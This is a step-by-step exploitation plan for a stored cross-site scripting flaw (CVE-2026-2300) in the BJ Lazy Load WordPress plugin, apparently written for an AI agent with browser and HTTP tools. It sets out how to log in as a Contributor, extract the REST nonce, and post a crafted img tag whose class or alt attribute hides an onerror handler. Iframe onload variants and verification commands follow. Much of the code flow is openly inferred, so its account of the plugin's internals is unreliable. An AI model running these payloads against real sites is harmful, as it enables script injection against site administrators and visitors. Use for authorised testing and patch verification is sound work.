BJ Lazy Load <= 1.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom HTML Block

This research plan outlines the process for exploiting CVE-2026-2300, a Stored Cross-Site Scripting (XSS) vulnerability in the BJ Lazy Load plugin for WordPress.

---

1. Vulnerability Summary

• Vulnerability: Authenticated Stored XSS
• Location: bj-lazy-load.php (inferred), specifically within the filter_images() and attribute replacement logic.
• Cause: The plugin uses a preg_replace (or similar regex-based) approach to swap the src attribute of <img> tags with a placeholder and a data-lazy-src attribute. The regex fails to ensure that the src= string it is replacing is actually the src attribute of the HTML tag, rather than a string inside another attribute (like class or alt).
• Impact: A Contributor+ user can craft an image tag where a malicious payload is placed inside the class attribute. When the plugin processes the tag, it "breaks out" the payload from the class attribute and promotes it to a top-level DOM attribute (e.g., onerror).

2. Attack Vector Analysis

• Endpoint: WordPress Post/Page Editor (Classic or Gutenberg).
• Vulnerable Action: Saving or Previewing a post containing a crafted <img> tag.
• Authenticated Level: Contributor or higher (any role capable of creating/editing posts and using HTML).
• Preconditions: The plugin must be active, and the "Lazy load images" setting must be enabled (usually default).

3. Code Flow (Inferred)

1. Entry Point: A user views a post. WordPress triggers the_content filter.
2. Hook: The plugin registers add_filter( 'the_content', array( $this, 'filter_images' ), 200 );.
3. Vulnerable Function: filter_images($content) searches for <img> tags using regex.
4. Attribute Processing: For each match, it attempts to modify the src attribute. A common vulnerable implementation in this plugin version is:

   // Inferred logic
   $html = preg_replace( '/\bsrc=[^ >]*/i', 'src="' . $placeholder . '" data-lazy-src="' . $src . '"', $html );
   

5. The Sink: If the regex matches a src= string inside class="src='...' ", it replaces the internal part of the class string. The resulting HTML contains the injected payload as a standalone attribute outside of the original quotes.

4. Nonce Acquisition Strategy

Since the goal is to store the XSS payload as a Contributor, we need to bypass or satisfy WordPress's post-creation security.

• Mechanism: The agent will log in as a Contributor and use the WordPress REST API or the standard post.php handler.
• Action:
  1. Log in as a Contributor.
  2. Navigate to wp-admin/post-new.php.
  3. Extract the _wpnonce from the page source or use browser_eval to fetch the wp.apiFetch nonces.
  4. JS Variable: window.wpApiSettings.nonce.

5. Exploitation Strategy

The goal is to create a post containing an image tag that tricks the regex.

Payload Construction:
We need to provide a class attribute that contains a "fake" src string followed by our XSS payload.

• Payload: <img class="src='fake' onerror=alert(document.domain) " src="https://example.com/valid-image.jpg">

Step-by-Step Execution:

1. Authentication: Log into the WordPress instance as a user with the Contributor role.
2. Nonce Extraction:
   • Navigate to wp-admin/post-new.php.
   • Execute browser_eval("wp.apiSettings.nonce") to get the REST API nonce.
3. Post Creation (Payload Injection):
   • Use the http_request tool to send a POST request to /wp-json/wp/v2/posts.
   • Headers: Content-Type: application/json, X-WP-Nonce: [NONCE].
   • Body:

     {
       "title": "Lazy Load XSS Test",
       "content": "<img class=\"src='x' onerror=alert(1) \" src='https://example.com/image.jpg'>",
       "status": "publish"
     }
     

     (Note: Contributors can usually "publish" to "pending", which is sufficient to trigger the XSS in preview or when an admin reviews the post).
4. Triggering the XSS:
   • Identify the URL of the newly created post (from the API response).
   • Navigate to the post URL using browser_navigate.
   • Wait for the alert(1) to trigger.

6. Test Data Setup

• Plugin: Install and activate bj-lazy-load version 1.0.9.
• User: Create a user attacker with the contributor role.
• Settings: Ensure Lazy Loading is active (checked in wp-admin/options-general.php?page=bj-lazy-load).

7. Expected Results

When the plugin processes the payload:

• Original: <img class="src='x' onerror=alert(1) " src='https://example.com/image.jpg'>
• Processed (Inferred): The plugin finds the first src= (inside the class) and replaces it.
• Resulting HTML: <img class="src="[PLACEHOLDER_URL]" data-lazy-src="x" onerror=alert(1) " src='https://example.com/image.jpg'>
• Browser Interpretation: The browser sees onerror=alert(1) as a valid attribute because the preceding " was closed prematurely or ignored by the regex replacement logic.

8. Verification Steps

1. Post-Exploit Check: Use WP-CLI to verify the post content is stored:
   wp post get [POST_ID] --field=content
2. HTML Inspection: Use the http_request tool to fetch the post's frontend HTML and search for the processed onerror attribute:
   grep "onerror=alert" output.html

9. Alternative Approaches

• Attribute Variations: If class is sanitized by WordPress before the plugin runs, try using the alt attribute or data-custom attributes:
  <img alt="src='x' onerror=alert(1) " src="...">
• Classic Editor: If Gutenberg (Block Editor) blocks the specific HTML, use the admin-ajax.php endpoint with the save-post action to send raw HTML, simulating the Classic Editor.
• Iframe Payload: The plugin also filters <iframe>. Try:
  <iframe class="src='x' onload=alert(1) " src="..."></iframe>